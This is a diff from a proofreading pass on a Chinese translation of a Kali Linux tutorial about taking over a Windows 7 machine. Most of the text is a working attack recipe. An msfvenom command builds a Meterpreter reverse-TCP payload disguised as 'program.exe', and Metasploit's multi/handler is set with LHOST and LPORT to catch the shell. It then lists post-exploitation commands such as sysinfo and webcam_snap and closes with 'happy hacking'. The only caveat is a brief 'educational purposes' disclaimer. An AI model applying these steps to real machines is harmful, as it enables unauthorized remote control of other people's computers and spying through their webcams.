PRF:20170207 How To hack windows with Kali Linux

@GHLandy

translated/tech/20170207 How To hack windows with Kali Linux.md

@@ -1,10 +1,9 @@
-快速指南：如何使用 Kali Linux 黑掉 Windows
+如何使用 Kali Linux 黑掉 Windows
 ====================
 
-Kali Linux 源自于 Debian Linux，主要用于渗透测试，拥有超过 300 套的预安装渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台，Metasploit 是一个用于开发和执行安全 exploit 代码的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意，我写这篇文章只是出于教育目的哦。
+Kali Linux 派生自 Debian Linux，主要用于渗透测试，拥有超过 300 个的预安装好的渗透测试工具。Metasploit 项目中 Metasploit 框架支持 Kali Linux 平台，Metasploit 是一个用于开发和执行安全利用代码（security exploit）的工具。让我们来使用 Kali Linux 来攻破 Windows 吧。请注意，我写这篇文章只是出于教育目的哦——一切因此带来的后果和本文作者、译者无关。
 
-
-源机器详情：
+### 源机器详情
 
 Kali Linux
 
@@ -20,9 +19,9 @@ root@kali:/#
 Windows 7 Ultimate SP1
 ```
 
-步骤 1：创建 Payload 程序
+### 步骤 1：创建 Payload 程序
 
-Payload 是一个类似于病毒 (virus) 或者木马 (trojan) 的程序，可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload，以便能使用 Kali Linux 黑掉 Windows。
+Payload 是一个类似于病毒或者木马的程序，可以运行在远程目标上 —— 为了黑掉那台机器。可以通过以下命令来创建 Payload（`program.exe`），以便能使用 Kali Linux 黑掉 Windows。
 
 ```
 root@kali:/# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.189.128 LPORT=4444 --format=exe -o /root/program.exe
@@ -36,9 +35,9 @@ root@kali:/# ls -la /root/program.exe
 -rw-r--r-- 1 root root 73802 Jan 26 00:46 /root/program.exe
 ```
 
-通过 'ls' 命令，我们可以确认 Payload 程序是否成功生成在指定的位置。
+通过 `ls` 命令，我们可以确认 Payload 程序是否成功生成在指定的位置。
 
-步骤 2：运行 mfsconsole 命令启动 msf 命令窗口
+### 步骤 2：运行 `mfsconsole` 命令启动 msf 命令窗口
 
 ```
 root@kali:# msfconsole
@@ -77,10 +76,10 @@ your progress and findings -- learn more on http://rapid7.com/metasploit
 msf >
 ```
 
-步骤 3：我使用一下细节进行漏洞利用 (exploiting)
+### 步骤 3：进行漏洞利用的细节
 
-* 4444 端口：你可用按照自己的心意来使用哪个端口
-* LHOST IP：表示 Kali Linux 机器的IP 192.168.189.128\. 使用如下命令来查看你的 Kali Linux 机器的 IP。
+* 4444 端口：你可以按照自己的想法来选择使用哪个端口
+* LHOST IP：表示 Kali Linux 机器的 IP，这里是 192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的 IP。
 
 ```
 root@kali:/# ip r l
@@ -88,27 +87,30 @@ root@kali:/# ip r l
 root@kali:/#
 ```
 
-现在在 msf 命令窗口使用 “use exploit/multi/handler” 命令，如下：
+现在在 msf 命令窗口使用 `use exploit/multi/handler` 命令，如下：
 
 ```
 msf > use exploit/multi/handler
 msf exploit(handler) >
 ```
 
-然后在接下来的命令窗口中使用命令 “set payload windows/meterpreter/reverse_tcp”：
-```
-msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
-payload => windows/meterpreter/reverse_tcp
-```
-
-现在使用 LHOST 和 LPORT 来存储本地 IP 和本地端口，如下：
+然后在接下来的命令窗口中使用命令 `set payload windows/meterpreter/reverse_tcp`：
 
 ```
 msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
 payload => windows/meterpreter/reverse_tcp
 ```
 
-最后使用 exploit 命令。
+现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口，如下：
+
+```
+msf exploit(handler) > set lhost 192.168.189.128
+lhost => 192.168.189.128
+msf exploit(handler) > set lport 4444
+lport => 4444
+```
+
+最后使用 `exploit` 命令。
 
 ```
 msf exploit(handler) > exploit
@@ -117,7 +119,7 @@ msf exploit(handler) > exploit
 [*] Starting the payload handler...
 ```
 
-现在你需要在 Windows 上运行 “program.exe”，一旦他在目标机器上执行，你就可以建立一个 meterpreter 会话。输入 sysinfo 就可以得到被黑掉的 Windows 机器详情。
+现在你需要在 Windows 上运行 `program.exe`，一旦它在目标机器上执行，你就可以建立一个 meterpreter 会话。输入 `sysinfo` 就可以得到这台被黑掉的 Windows 机器的详情。
 
 ```
 msf exploit(handler) > exploit
@@ -137,7 +139,7 @@ Logged On Users : 2
 Meterpreter     : x86/win32
 ```
 
-一旦你得到了这下详细信息，就可以做更多的漏洞利用，或者通过 “help” 命令获取更多信息，以便列出所有你可以黑掉该系统的选项，比如 “webcam_snap” 命令获取网络摄像头，同样你还可以使用其他更多的可用选项。祝你入侵愉快！！！！
+一旦你得到了这些详细信息，就可以做更多的漏洞利用，或者通过 `help` 命令获取更多信息，以便列出你可以黑掉该系统的所有选项，比如 `webcam_snap` 命令获取网络摄像头，同样你还可以使用其他更多的可用选项。祝你入侵愉快！！！！ ←_←
 
 ------------------------------------
 
@@ -151,7 +153,7 @@ via: http://www.linuxroutes.com/quick-guide-how-to-hack-windows-with-kali-linux/
 
 作者：[Manmohan Mirkar][a]
 译者：[GHLandy](https://github.com/GHLandy)
-校对：[校对者ID](https://github.com/校对者ID)
+校对：[wxy](https://github.com/wxy)
 
 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译，[Linux中国](https://linux.cn/) 荣誉推出